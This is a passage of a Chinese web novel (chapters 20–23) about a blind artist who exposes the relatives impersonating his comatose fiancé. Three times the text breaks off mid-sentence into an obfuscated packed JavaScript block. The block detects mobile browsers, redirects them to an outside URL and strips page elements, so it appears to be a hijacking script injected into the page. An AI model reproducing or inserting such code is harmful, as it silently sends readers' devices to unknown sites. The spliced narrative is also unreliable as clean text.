杨枝甘露果然很好吃。 玉树温暖湿滑的舌头也是。 20. 一家三口 20 程雀枝吃舌头吃了个爽。 柯玉树唇角微勾,后仰,任由他反客为主追逐着自己的唇舌。 程雀枝太冲动。 柯玉树伸出手,像是抚摸犬科动物那样,一下又一下给程雀枝顺着毛,含含糊糊地说:“好了,好了……” 程雀枝更用力了,柯玉树眉头微皱,再次后仰要和程雀枝拉开距离,却没想到程雀枝又往前,捕捉了他逃跑的舌头,然后大手一伸,把柯玉树抱到自己面前,强行夺取了他唇舌之间的津液。 柔软酸甜的果肉滚入喉咙,原本温凉的唇舌温度持续上升,渐渐变得火热痴缠,程雀枝的表情也由冷淡扭曲,变得温顺渴望。 他感觉自己身体里每一处器官都在叫嚣着渴望和占有,将眼前的人彻底拆吃入腹,这辈子都不分离。 却没有看到柯玉树唇角勾着的,嘲讽笑容。 柯玉树干脆不再挣扎,任由他侵占自己的领地,直至程雀枝狂热的欲望登顶,甚至伸出手探向柯玉树的毛衣。 感觉阈值要到了,以免眼前人变得不可控,柯玉树伸出手用力把人推开。 “好狗,够了,给我收敛点,婚前性行为不可取。”柯玉树冷声说。 程雀枝愣愣地看着柯玉树,眼前的人一改从前那清冷无暇的面貌,平时粉嫩的唇被他亲得红艳艳,即便说着拒绝的话,也依旧挂着无所谓的笑容。 明明他的唇是那样香甜诱人,美人却淡定地收回了赏赐,徒留程雀枝欲求不满地看着他,在原地喘气。 “玉树……” “程栖山,你是过敏了吗?我记得你对芒果过敏挺严重,会死人的,还是去吃些药吧。”柯玉树躺回躺椅,甚至挥了挥手,像是在对待一件招之即来挥之即去的物品,“记得给我也带半片,你亲得我嘴唇都麻了。” 程雀枝僵住了。 此刻他背后冷汗直冒,终于明白从刚才就升起的不安感从哪里而来。 程栖山对芒果过敏,他不过敏,刚才玉树将芒果推进他口腔的时候,程雀枝甚至没有一点抗拒。 这不对。 “……好。” 程雀枝偷偷掐了自己一把,同手同脚地去拿医药箱,心里一阵后怕,还好玉树并没有发现疑点。 柯玉树靠在摇椅上,若有所思。 他未婚夫的这个人格居然不抗拒芒果? 果然,他的未婚夫不止两个。 两人吃了过敏药之后,就再没提过杨枝甘露的事,平静地吃晚饭。 终于啃了一口柯玉树的程雀枝心中贪婪欲念疯长,他看着柯玉树静静咀嚼食物的模样,一遍又一遍的告诉自己一定要忍耐。 时间就要到了,一个月,最多一个月…… 饭后,柯玉树在洗手池前面刷牙,他垂着头,发丝散落,掩盖住了他的半张脸,透过镜面的反光竟然透露出妖异的感觉。 解下来的纱布被随意丢弃在垃圾桶,柯玉树睁着眼看向镜子中的自己,那眼中虽然空无一物,却依旧波诡云谲,像是在酝酿着什么大事。 水珠滑落,旁边的手机响了一下。柯玉树捞过来指纹解锁,是妹妹的消息。 那夜从餐厅归来之后,柯玉树就让妹妹帮忙查有关程栖山的事,他不完全信任庭华,因为庭华对他的未婚夫抱有敌意,某些事掺杂了私人感情,就会降低公平公正的概率,柯玉树不希望拿到一份添油加醋的资料。 洗漱完毕,柯玉树擦干净脸,戴上耳机,刚好这时候庭华也把资料发了过来。 柯玉树先把妹妹发过来的资料导入语音助手,等着AI加载语音朗读模块,趁着这个间隙,他打开了庭华发来的资料,却发现庭华已经贴心地备好了语音版。 小叶都没想到的事。 庭华这个挚友,从某种意义上来说是真的贴心,只是两人之间的感情终归不纯粹,柯玉树只能叹气。 柯玉树躺床上戴耳机听了半小时,听着听着,他甚至想冷笑,但好歹是忍住了。 身为教授,他还是有涵养的。 柯月叶和庭华发来的资料相差无二,只是侧重点有些不同,柯月叶主要是从另一方面调查程家能给他们带来的所有好处,然而庭华却不一样,他的侧重点全都在程家人对柯玉树本人的影响。 柯玉树又回想起柯月叶给的资料上显示的信息,冷笑一声。 妹,你是真不知道你哥被程家人欺骗得有多惨。 心中想着这样楚楚可怜的话语,柯玉树面上却带着讥讽的笑容,他把脸埋在枕头里,没有一点伤心,全是愤怒,甚至被勾起了征服欲。 程家人敢欺骗他,把他当傻子玩? 等着死吧。 资料显示柯玉树猜得果然没错,他的未婚夫不止两个,可以说程家一家三口全是他未婚夫。 小叔程诲南是儒雅斯文的年长者,小弟程雀枝是阴暗偏执的二少爷,性格和柯玉树之前总结的大致都对得上,而真正未婚夫程栖山的性格,则是冷硬的直男霸总,现在正摊在郊区的疗养院里当植物人,醒来的希望微乎其微。 真这么好玩吗? 程栖山,你家俩畜生要是真那么爱玩,干脆玩一辈子算了,当一辈子的替身,更好玩。 柯玉树这样想着,忽然感觉气上心头,有些眼冒金星。 是真的金星,卧室顶部的暖光灯。 柯玉树迷茫地眨了眨眼睛,有些不敢相信自己居然又被气得能看见了,只可惜复明只有片刻,那点微光很快又落下去,眼中再次归于一片死寂。 他的眼睛就像一台老式的机器,拍两下变成雪花屏,又会莫名其妙断联。 想着刚才看到的若隐若现的光,柯玉树连忙坐起身来,动作有些急,一时他头脑血气翻涌,眼前又出现了若隐若现的光。 柯玉树摘下自己耳朵上的蓝牙耳机,取下了眼睛上的纱布,忽然,他的手臂僵了一下,又瞬间放松了下去。 仿佛只是个不经意的停顿。 柯玉树又伸出手,像是要去拿床头柜上的杯子。 他眼前的光芒若隐若现,却不是刚才那样病理性的消失,而是旁边有什么东西正挡着他的光,阴森森的一大块,若隐若现,吞噬着暖黄的光晕。 拿杯子的时候,柯玉树左手不留痕迹地滑动,蓝牙耳机还在重播着刚才发来的资料,随着被清理的后台戛然而止。 床旁边有一个高大的黑影,正在凝视柯玉树。 柯玉树动作自然地低头喝水,忽然,他像是被水呛到了,开始剧烈的咳嗽。 “咳!咳咳咳!!!” 柯玉树咳得撕心裂肺,水杯晃动泼洒,忽然,柯玉树的手一滑,杯子砸在他的脚背上,然后扑向地毯,在地上碌碌滚了几个圈。 “嘶——咳咳咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949076|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳!” 柯玉树脚背被砸,偏偏这个时候他又抑制不住地咳嗽,整个人狼狈无比,捂着脚蜷缩在床边。 睡衣下摆沾湿,柯玉树咳嗽渐渐停止,他茫然擦去眼角的泪,眼尾被染一片红晕,看上去楚楚可怜。察觉到自己半身都湿透,他又跌跌撞撞爬起来,想要拿床头的纸巾擦拭身上的水渍,却又因为慌乱的动作扑空,整个人向床下直直砸去! 却没有砸到地上,因为纱布前忽然伸出了一双有力的手臂,男人沉声说:“小心。” 可算把你炸出来了,柯玉树垂头冷笑。 终于憋不住了吗?程雀枝。 “还好吗?”程雀枝问。 柯玉树抬头,故作惊讶地问:“程栖山,你怎么在这?” 程雀枝把柯玉树扶回床上,抽出纸巾为他擦拭小腿的水渍,解释:“我刚刚听到你房间有响动,担心出什么事,所以过来看看。” 柯玉树呆呆地说:“可是地上有地毯,没声音。” 杯子掉在地上根本发不出来声音,更何况他关了门,程雀枝听到就有鬼了。 程雀枝:“……刚才路过你门口,听到了。” 柯玉树在心中暗暗发笑,但也没把人往死路上逼,他点头,小声说:“谢谢你,要是没有你,我刚才就摔下去了。” 他想要屈膝把腿支起来,检查脚背上的伤口,却没想到脚腕被程雀枝握在了手里。 程雀枝手心火热干燥,柯玉树的脚腕虽然是温暖的,但一下子碰到更高的温度,不由自主抖了一下。 柯玉树轻轻蹬了一下右腿,提醒道:“程栖山,你这是要做什么?” 程雀枝的手死死扣住他的脚腕,就是不放手。 “看一下伤。” 程雀枝力气大,捏得柯玉树脚趾蜷缩,他却抿着唇一言不发,也不再挣扎。 这一切程雀枝都看在眼底,他心中忽然升起了一股无名火,看着柯玉树的右脚,不由自主又用力了一下。 柯玉树:“……” 把他的脚腕当握力棒呢。 柯玉树的小腿笔直,脚也不像少爷那样细嫩,也许是他经常出门采风的缘故,肌肤白皙有力,一层薄肌看着十分美观。 程雀枝强迫自己把视线从柯玉树的小腿上移开,说:“杯子把你脚背砸红了,是冷敷还是喷药?” 柯玉树心说真是会给自己找事,现在体贴?晚了。 “没关系,不是什么大伤,不用处理的。”柯玉树别开脸。 “可是你衣裳湿了,不换吗?”程雀枝又问。 柯玉树:“……” 他还真是每一句话都在给自己找福利呢,真是人面兽心。 柯玉树猛然收回自己的右脚,还下意识蹬了程雀枝的胸口一下,然后整个人缩进被子,摇头说:“不用担心,只是外套湿了而已,马上脱。” 程雀枝:“……” 他站在床边有些不知所措,不明白柯玉树怎么忽然生气了。 柯玉树没有哄孩子的兴趣,片刻后,一件毛衣开衫从被子飞出,然后湿哒哒地搭在程雀枝的头上,把他上半身都罩住了。 柯玉树:“我困了,想睡觉。” 程雀枝:“……好,晚安。” 柯玉树:“晚安!” 程雀枝:“……好。” 艺术家都这么有个性,他理解。 21. 他们玩得很花?! 21 柯玉树在被子包包里等了片刻,却没有听到关门的声音,他的头动了动,疑惑。 被子包包被掀开一个角,柯玉树探出头来,迷迷茫茫,在四周摸索。 “程栖山,你走了吗?” 柯玉树伸出手挥了挥,巴掌扇到了程雀枝的脸皮,他顿了一下。 好像不小心给了人一巴掌。 “程栖山,你没走啊。” 程雀枝哑着声音说:“我还有问题没问。” 二少爷挨了一巴掌,居然不生气吗? 柯玉树缩回手把头发扎起来,打算跟程雀枝好好聊聊,不然别想睡了。 碎发向下落,宽大的睡衣袖子也像下落,他整个人整个人柔顺的像一只恬静的布偶猫,温柔而干净。 “什么问题?”柯玉树问。 程雀枝看愣了,一时间居然答不上柯玉树的问题,他感觉自己似乎快要抑制不住心中的欲望了,吞咽口水的声音响彻房间。 柯玉树明显愣了一下。 “程栖山?” 这人果然是一条阴暗的狗,披了层程栖山的皮囊为所欲为,现在连装都装不像。 要是程栖山知道程雀枝这么摧残自己的形象,会不会被气醒? “玉树,你……”程雀枝讷讷开口。 柯玉树给自己扎了个高马尾,抬头嗯了一声,程雀枝撞进了他纯黑的眼眸。 和程栖山一般黑沉,似深潭。 “我什么?” “你……你今天为什么要亲我?” 柯玉树轻笑一声,“亲你就亲你了,不过是个吻而已。亲爱的,我是你未婚夫,亲不得吗?还是说……你害羞了?” 柯玉树向程雀枝伸出手,程雀枝思考了一下,把被子放在柯玉树手上,却被柯玉树拍开。 柯玉树依旧抬着手,手心向上微微弯曲。 程雀枝疑惑:“嗯?” 柯玉树:“嘬嘬嘬。” 程雀枝:“嗯嗯嗯?” 不是,他哥以前和柯玉树玩得那么大吗? 程雀枝经历了迷茫、不解、震惊、骇然、纠结、拒绝和犹豫,最终,他缓缓的、缓缓的将自己的下巴放进了柯玉树的手心。 柯玉树又笑:“这不挺会的吗?刚才怎么像个毛头小子似的。” 他收拢自己的手心,食指和中指挠着程雀枝的下巴,还伸出另一只手去捏了捏程雀枝的耳朵。 “真乖。” 程雀枝:“……嗯。” 他感觉自己要跟不上时代了,他哥和柯玉树真的那么玩吗? 程雀枝被挠得微微眯起眼睛,此刻的他感觉又舒服又酸涩,都有些咬牙切齿。 柯玉树那么干干净净的一个艺术家,程栖山,你这个畜生居然带着他玩这个?! 柯玉树察觉到程雀枝硬起来的腮帮子,心情颇好,理所当然地说:“是太久没和我亲热,所以生疏了吗?对不起,程栖山,等到我的眼睛好了,你想要对我做什么都可以。” 反正真正的程栖山现在瘫在床上cos植物,他说他们怎么恩爱,就怎么恩爱。 这段话在程雀枝听来,无异是平地一声惊雷。 何意味?何意味? 他们之前是什么关系? 什么叫想要做什么都可以?! 程雀枝感觉自己的三观都要被刷新了,他现在是真的又快乐又嫉妒,柯玉树眼睛恢复之日就是他的死期,程栖山却能为所欲为。 他必须做点什么。 眼前的光似乎在慢慢消失,柯玉树却心情大好,短暂复明应该是他大脑的淤血又不小心压迫了神经,具有不确定性,跟抽奖一样。 有趣。 “安心了吗?”柯玉树收回手。 程雀枝感觉自己心里空落落的,程栖山凭什么吃得这么好? 车祸是意外,但一想到两人是奔着结婚去的,程栖山可能已经尝过了柯玉树唇边的滋味,甚至已经摸遍柯玉树身体的每一寸肌肤,程雀枝就嫉妒得发狂。 他也想要这样浓烈的爱意。 “嗯……” “好了,时间不早了,真的该睡了。是过敏药有副作用吗?你今天怎么怪怪的?” 柯玉树还伸出手摸了摸程雀枝的额头,温暖的手心擦过程雀枝微凉的鼻尖,程雀枝猛然站起来,大声说:“我没事,没有什么副作用,晚安!” 说完就推开门落荒而逃。 他怎么忘了?他怎么能忘!?柯玉树摸他额头的时候,差点摸到他的脸!程雀枝狠狠咬牙,下次一定不能再这么疏忽! 心中的爱意越来越浓,也越来越患得患失,程雀枝最终还是拨通了小叔的电话。 “可以行动了,对,就现在。” “让他们小心点,别把人伤了……关起来就行。” “程诲南,我不会后悔。” …… 卧室门被关上,柯玉树缓缓把手收了回来,轻笑一声。 “鼻子还挺翘。” 他现在是真想知道程雀枝到底长什么样了,小叶给自的资料显示程诲南和程栖山有九成相似,那程雀枝呢?如果柯玉树无法在程栖山汲取灵感,程雀枝是不是能成为下一个缪斯? 柯玉树不知道,他钻进被窝给庭华发去一条语音。 “小花,我需要你的帮助。” …… 程雀枝在那之后更忙了,柯玉树也再没有见到过程诲南,不知道他最近是太忙了,还是被程雀枝拦下来了。 柯玉树喜欢上了在阳台晒太阳,每天都有新鲜的瓜果蔬菜和花卉送上门,李阿姨不用出门去买菜,对柯玉树更是寸步不离。 李阿姨很焦虑,柯玉树觉得再这么逼下去,就算是没病也得被逼出病来。 终于,再送程雀枝出门开门后,柯玉树靠在自己房间飘窗旁边,声音冷淡地按下语音键:“李阿姨,把电闸拉了吧,关于程雀枝我有些事要想问你。” 他卧室没有监控。 客厅里,李阿姨收到了柯玉树的消息,她不想在雇主的监控下暴露自己的隐私,点击语音转文字,看到柯玉树说的话后,顿时心乱如麻。 柯先生怎么会知道程雀枝的事?! 李阿姨的手摁在对话框上,却迟迟没有输入任何信息。 卧室里,柯玉树看对面一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949077|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直显示正在输入中,也没有着急,而是静静等待。 五分钟后,室内送风系统缓缓停止运行,卧室的门从外面被打开,李阿姨忐忑不安地走进来,一眼就看到了靠在飘窗旁边的柯玉树。 柯玉树正穿着一件月白色的丝质衬衣,外面披了一件同色系的毛绒外套,纤细柔软的绒毛在阳光下轻轻动来动去,显得他整个人温顺而无害。 李阿姨觉得,柯先生和她之前经手的病人不一样,柯先生的情绪一直都很稳定,是整个人也干净无暇,跟个天使一样。 柯玉树轻轻抬头,“李阿姨,坐。” 李阿姨挪到他旁边找了张椅子坐下,忐忑不安。 “李阿姨,我的卧室里没有监控,别紧张。” 李阿姨蹦了起来:“你怎么知道?!” 柯玉树摇头,“他在房子里安了几个监控?” 柯玉树在客厅时总感觉到有如影随形的视线,即便程雀枝去上班,视线也依旧存在,他猜测程雀枝在家里安了监控。 还好卧室没有,程雀枝不至于这么变态。 李阿姨手抖了抖,心理防线也摇摇欲坠,她嘴唇嗫嚅了两下,然后说:“八个。” 柯玉树:“……挺多。” 真是厉害啊,百来平的平层居然能有八个监控,难道说程雀枝上辈子是干班主任的吗? 令人费解。 “柯先生,我、我真的很对不起你!” 李阿姨忽然站了起来,冲柯玉树鞠躬,她不能眼睁睁看着柯玉树被程雀枝欺骗,选择了坦白和道歉。 柯玉树只感觉眼前一阵风袭来,他有些无奈,终于露出了笑容。 “是的,李阿姨,我不怪你,是程雀枝和程诲南的错,你不用把他们的错揽在自己身上。” 李阿姨被柯玉树感动得不行。 “柯先生,我……你想知道什么我都告诉你!” 大不了不要这份工作了,她逃到外地去! 柯玉树却摇头,有些忧伤地问:“李阿姨,其实我叫你过来,是有一件事想问你,你知道我真正未婚夫程栖山的下落吗?他现在怎么样?” 程栖山现在在郊区的疗养院里当植物人,这是柯月叶和庭华给的资料上说的,柯玉树之所以这样问李阿姨,是想知道李阿姨知道什么信息,又到底站哪边。 李阿姨抬起头来,坚定地说:“我知道,柯先生,你未婚夫在郊区的疗养院里养伤,需要我为你做些什么吗?” 柯玉树点头:“我想见他一面,我需要你的帮助。” 李阿姨却微微皱眉,“可是柯先生,程栖山先生见面的话,可能会刺激到你,影响你的眼睛……” 李阿姨的话还没说完,放在兜里的手机就响了,她拿出来一看,眉峰下压一脸怒容。 “程雀枝打来的?接吧,李阿姨,麻烦来了。”柯玉树无奈。 李阿姨勉强笑了笑,接通电话:“喂,程先生?” 她打开了手机的免提功能,让柯玉树也能听到对面程雀枝的声音。 程雀枝似乎在办公室,语气不善地质问:“怎么家里的监控看不了?” 李阿姨呼吸一滞。 22.试探 22 李阿姨看向柯玉树,克制着声音回答:“似乎是跳闸了,先生,我出去看看?” 程雀枝那边逐渐变得嘈杂,有秘书提醒他董事会议马上召开,估计是开会前抽空看监控,却发现看不了,气到了。 他冷着声音回答:“尽快修复。” 然后挂断了电话。 柯玉树:“……” 他忽然想到网上流行的梗——给我一个准确的答复! 柯玉树轻轻说:“报告,没有修复的义务~” 李阿姨:“嗯?” 柯玉树摇摇头,“他那边要开会,看来我们最少还有半个小时的时间,李阿姨?” 李阿姨犹豫了几秒钟,最终下定决心说:“柯先生,如果你需要我的帮助的话,我一定会拼尽全力去帮你。” 柯玉树微笑着,把手机递给李阿姨,上面显示正在通话中,和庭华。 柯玉树说:“现在是我的道歉时间,李阿姨,抱歉,我一直在跟庭华通话。你应该认识小花,其他的事就让他来跟你讲吧。” 李阿姨有些茫然地接过手机,庭华专业在线,隔着手机几句话就安抚住了李阿姨。 庭华:“……李医生,事情就是这样,总之明天有专人来入侵监控,我会带玉树离开大概半天的时间,在此之前你只需要把门守好,确保不要让程雀枝发现玉树失踪。” 李阿姨听罢,有些犹豫地看向柯玉树,问:“柯先生不打算和程雀枝摊牌吗?” 她原以为受了这样的欺骗,柯玉树就算不生气,也会想尽办法和罪魁祸首摊牌维权,没想到柯玉树居然还要隐忍。 柯玉树摇头:“我只是想出门见见栖山,我太久没有见到他了,有些担心。程雀枝毕竟是程栖山的小弟,我不希望他们一家人闹得太僵,李阿姨,麻烦你替我保密,好吗?” 李阿姨张了张口,突然有些说不出话来,柯先生真好啊,居然到现在都没有生气,明明遭受了那样严重的欺骗…… 还是那句话,程雀枝,你坏事做尽! “好,柯先生,我答应你。”李阿姨一脸坚定地说。 她一定要为柯先生做些什么。 之后李阿姨去拉电闸,柯玉树没出去,而是捏着手机问庭华:“小花,你说我的眼睛会自愈吗?” 庭华疑惑道:“怎么了?是发生什么事了吗?” 柯玉树隐瞒了自己隐隐约约能看见的消息,含糊其辞:“没事,只是有些担心。小花,谢谢你能帮我。” 庭华:“你我之间用不上说谢,更何况就算我不帮你,月叶也会出手,我只是做了朋友之间该做的事。” 朋友之间该做的事?这不是庭华想说的话,但他必须这么说。 柯玉树嗯了声,庭华又说起另一件事:“对了,程雀枝和程诲南近日斗得很凶,两方人马不相上下,程诲南也借着这个势头正式回归了程家,程雀枝也走上了前台,玉树,你那边真的安全吗?” 程家的人不好惹,庭华担心柯玉树被两人反制住,柯玉树却只是淡淡地说:“小花,你知道我的,我会畏惧危险吗?” 他一向都很喜欢冒险,山川河野遍布他的踪迹。柯玉树永远不会被困在小地方,什么危险的事都遇上过,到现在生活已经没有了难度,终于有人敢惹他了,他自然不会逃跑,直接迎难而上。 “……知道了。”庭华声音有些晦涩。 挂断和庭华的电话,柯玉树又收到了另一通电话,知道他电话的人很少,柯玉树接通后,发现是送去烧制的陶器到了。 工作人员正在楼下等着把东西搬上来。 给他打电话的是个成年男人,声音挺好听的,还带着笑意。 柯玉树眼眸微栋,只说自己知道了,让工作人员在楼下等一下,就挂断了电话。 他伸了个懒腰,走到客厅的时候李阿姨依旧有些慌乱,见到柯玉树出来,连忙整理心情。 “柯先生,是有什么需要帮忙的吗?”李阿姨问。 声音挑不出毛病。 柯玉树满意点头,说:“送去烧制的陶器到了,李阿姨,我能出门去取吗?” 柯玉树连出门都要征求李阿姨同意,这件事非常诡异,但柯玉树却没有任何异议,监控对面的程雀枝更是习以为常。 他一个盲人,怎么能拥有自由出行的权利? “东西已经到楼下了吗?”李阿姨问。 程雀枝是她的雇主,曾经叮嘱过她无论大小包裹上门,都要李亲自检查一遍才送到柯玉树手上,李阿姨也一直是这样做的。 现在在监控下面,她更不会做多余的事。 柯玉树点头说:“对,到楼下进不了电梯,要我过去签收,一起去吗?” 他背对着监控,按住了李阿姨的手臂,脸上的表情毫无破绽。 李阿姨立刻就懂了。 他们明天要出门,今天会提前出门试试搓,不会去多远,取陶偶是个很好的借口。 庭华:“只是上一层保险罢了,李医生,请不要担心,我有把握程雀枝他百分之九十九的可能性发现不了监控被覆盖,就算被发现了,他也动不了你和你的家人。” 李阿姨为两人的周全十分感动,她确实害怕程雀枝找自己家里人麻烦。 现在李阿姨上戏了,她故作为难地说:“可是柯先生,现在外面很危险,你又看不见……” “你要阻拦我吗?”柯玉树说。 他冷淡的声音让李阿姨僵在了原地,远在办公室偷偷偷的程雀枝手也抖了一下。 玉树是生气了吗? 于是,程雀枝给李阿姨发消息:“陪他去。” 董事会会议结束没有半个小时,程诲南现在忙得不可开交,不可能见缝插针找上柯玉树,出门拿个东西也没什么。 收到程雀枝的消息,李阿姨才松了口气,对柯玉树说:“柯先生,我没有要拦你的意思,我准备准备,马上出门。” 她扶着柯玉树到沙发上坐下,柯玉树静静等待,时不时伸出手去抚摸茶几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952584|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的洋桔梗。 程雀枝似乎觉得他很喜欢洋桔梗,茶几上的花束换了好几轮,洋桔梗总是最多的,而且每每送来的洋桔梗都已经被提前去掉了花蕊,十分谨慎。 花朵娇艳,花瓣也充满水分,在柯玉树的抚摸下摇摇晃晃。程雀枝看到这一幕,又想起刚才柯玉树说的陶器,无论是洋桔梗还是陶器都和程诲南有关,顿时,程雀枝感觉心中又苦又涩。 实时监测心率的手表忽然震动,提醒程雀枝他心脏有早搏的迹象,程雀枝眉头微皱,直接摁掉了手表,在办公椅上发呆。 没过多久,监控里的柯玉树和李阿姨都出门了,程雀枝看着空荡荡的平层,叹了口气。 他多希望能用自己的身份出现在柯玉树面前啊,用自己的身份、名字、脸和性格,而不用作为程栖山的替身。 就像程诲南那样。 程诲南从来没有掩饰过自己的性格,玉树都接受了,有时候程雀枝在想,要不他也暴露自己的性格,或许玉树也能接受? 只是他太自卑,害怕等来的会是玉树的质问和谴责,所以他只能像条阴暗的狗一样,水灵灵穿上大哥的皮套,在暗中窥视柯玉树,还顺便偷走了本该属于大哥的吻。 那个吻让程雀枝回味至今,他想,他已经无法割舍了,从最初的戏耍到现在沉沦其中,程雀枝用了不到三个月。 他似乎……已经走不出来了。 李阿姨引着柯玉树来到电梯口,提前按下电梯的向下按钮,电梯上数字跳动,楼层间的切换也带来些许铰链摩擦声,柯玉树的左耳戴着半只耳机,静静站在电梯面前的样子很文静,李阿姨却十分紧张。 柯玉树今天穿了一身白色毛呢开衫,十分有设计感的剪裁柔和了他一身清冷的气质,因为这一身的白有些素淡,所以柯玉树挑了一条黑丝带项链系在脖子上。 美人纤细的脖子覆盖着两指宽的黑色丝绸,眼睛上也覆盖着一层纱布,却形成了诡异的和谐,他像是时尚的宠儿,站在那里就足以吸引所有人的目光。 电梯跳动到17楼,门开了,李阿姨打算扶着柯玉树进去,却忽然愣在了原地,迟迟没有动作。 柯玉树:“李阿姨,怎么了吗?” 电梯门一直开着,没有合上,像是有人伸出手拦在门边。 李阿姨惊疑不定地说:“柯先生,电梯里面有人。” 拦电梯门? 这样似曾相识的一幕…… 柯玉树挑了挑眉,李阿姨补充了她的下半句话:“是工作人员,似乎已经把东西送上来了。” 实则李阿姨的表情已经难看至极,她看着电梯里的男人,心中又气又害怕,却不敢多说什么,甚至不敢说出这人的真实身份。 “我们只是把Q版的陶偶拿上来了,另外一个大件在楼下,柯先生要是不方便的话,我扶你下楼去签收。”电梯里的工作人员说。 柯玉树没听过这声音,不过根据李阿姨的反应,他隐隐约约猜到了这人的身份。 程诲南。 23.赌局 23 程诲南说的话很不见外。 柯玉树冷声回答:“这位先生,我们似乎不认识吧?如果你们能上电梯,不如直接把货物送到家里来,我去家里等你。” 他说完这句话转身就要走,却被程诲南拉住了手臂。 “等等!” 柯玉树狠狠甩开程诲南的手,声音更冷了。 “请自重。” 柯玉树甚至还在空中挥了两下,像是在驱散什么脏东西,见到这幅情景,程诲南的笑容僵住了,这时候他才明白,原来没有程栖山的身份,他真的连靠近柯玉树都很困难。 看着柯玉树离去的背影,程诲南忽然说:“柯先生,还是请你下楼验货签收吧,否则我没办法保证你的作品完好无损。” 声音隐含威胁,柯玉树站定在走廊,似乎有些犹豫。 正扶着柯玉树往回走的李阿姨见状,连忙用力抓住他的手臂,轻轻摇动,示意柯玉树千万不要下去,甚至想小声告诉柯玉树那人的身份。 奈何程诲南的目光忽然锁定了李阿姨。 他戴着黑色鸭舌帽,帽檐并非寻常鸭舌帽那样大圆弧,而是类似于正方形,线条凌厉。帽檐下是一双浅金色的眼睛,正以一种十分危险的目光盯着李阿姨,仿佛李阿姨只要说出他的身份,就走不出这栋楼。 李阿姨顿时噤若寒蝉。 终于,柯玉树说:“既然如此,那我就下楼验货吧,那两样东西对我来说很重要,希望你们能好好对待。李阿姨,你陪我一起。” 李阿姨松了口气。 陪柯先生下去确实是一个好办法,自己到时候就在旁边看着,而且各个地方都有监控,程诲南应该做不出什么伤天害理的事情。 看着柯玉树进到电梯,程诲南忽然笑了一下,那两样东西对他很重要吗?是了,那是他们一起做的陶偶,一个是Q版柯玉树,另一个是按照程诲南的脸做的半身偶。 怎么不算是定情信物呢? 三人乘着电梯下楼,程诲南应该是买通了烧陶的工作室,工作人员从始至终都没说什么。 柯玉树在李阿姨的帮助下验货签收,李阿姨刷开电梯,辅助工作人员把半身偶搬进去,Q版陶偶则一直被程诲南捏在手里。 搬半身偶的时候,柯玉树还特地指着程诲南说:“不要他搬。” 只是听到柯玉树的要求,另外两个工作人员顿时面露难色,他们下意识看向程诲南,没说话。 柯玉树没得到回应,心下了然,这两个工作人员估计也是程诲南的人。 李阿姨在旁边看得一清二楚,她猜测柯先生应该也知道了程诲南的身份,那既然知道了,为什么还要挑衅程诲南呢? 一时间,几人竟就这样沉默了许久,直到程诲南用带着笑意的声音说:“行,我不搬,你们两个把东西搬上去吧,小心着点。” 工作人员这才松了口气,李阿姨也如释重负,配合着工作人员把包得严严实实的半身偶推进电梯。 一梯一户,进出电梯都需要刷卡,柯玉树这次出来并没有带卡,在场之人只有李阿姨有电梯卡,这就意味着李阿姨必须进电梯。 柯玉树原本打算着他们一起上楼,只是把货品搬进去后,再加上李阿姨和另外两个工作人员,电梯里就再挤不下其他人了。 李阿姨担心柯玉树,但把电梯卡给外人又不保险,她一时间纠结地站在电梯口,不知道该不该上去。 柯玉树淡淡地说:“李阿姨,你先送他们上去吧,我在下面等你来接我。” 李阿姨却更担心了。 “可是柯先生,你一个人待在下面真的可以吗?” 她还隐晦地看了一眼程诲南,放任柯先生和程诲南单独待在楼下,这不就是羊入虎口吗? 柯玉树摇头说:“没关系,我在楼下坐一会儿就行,旁边还有个工作人员陪着我,有什么事会跟他说。” 听到柯玉树的话,程诲南意味不明地轻笑一声,说:“放心,我会照顾柯先生的。” 李阿姨最终还是和工作人员上去了,这一来一回不超过十分钟,她估摸着应该出不了什么事,更何况整座公寓都布满了监控,就算程诲南的胆子再大,也干不出强抢民男的事。 民男还是他侄子的未婚夫。 电梯门合拢,上楼提示音响起,确定李阿姨他们离开后,柯玉树叹了口气,面朝像程诲南的位置。 他忽然问:“你来找我做什么?” 程诲南愣了一下,“你知道我是谁?” 柯玉树摇头,“我不知道,但我大概能猜到你这次过来的原因。你排第几?” 程诲南又愣了,“什么叫我排第几?在家吗?我在家排行老二。” 柯玉树却又摇头,“老二不是华国人,你还是要分清楚先来后到啊。” 程诲南彻底迷茫了,他试探着说:“那……老大?” 柯玉树微微皱眉,似乎有些不耐烦,认定了面前的人是在驴自己。 “老大也不是你,别顶替他的身份,要说不出个所以然来,我们也没有继续交谈的必要了。” 程诲南:“……?” 何意味? 他还以为两人单独相处能暧昧一番,却不想被柯玉树莫名其妙的问题砸了满脸问号。 “可是我……” 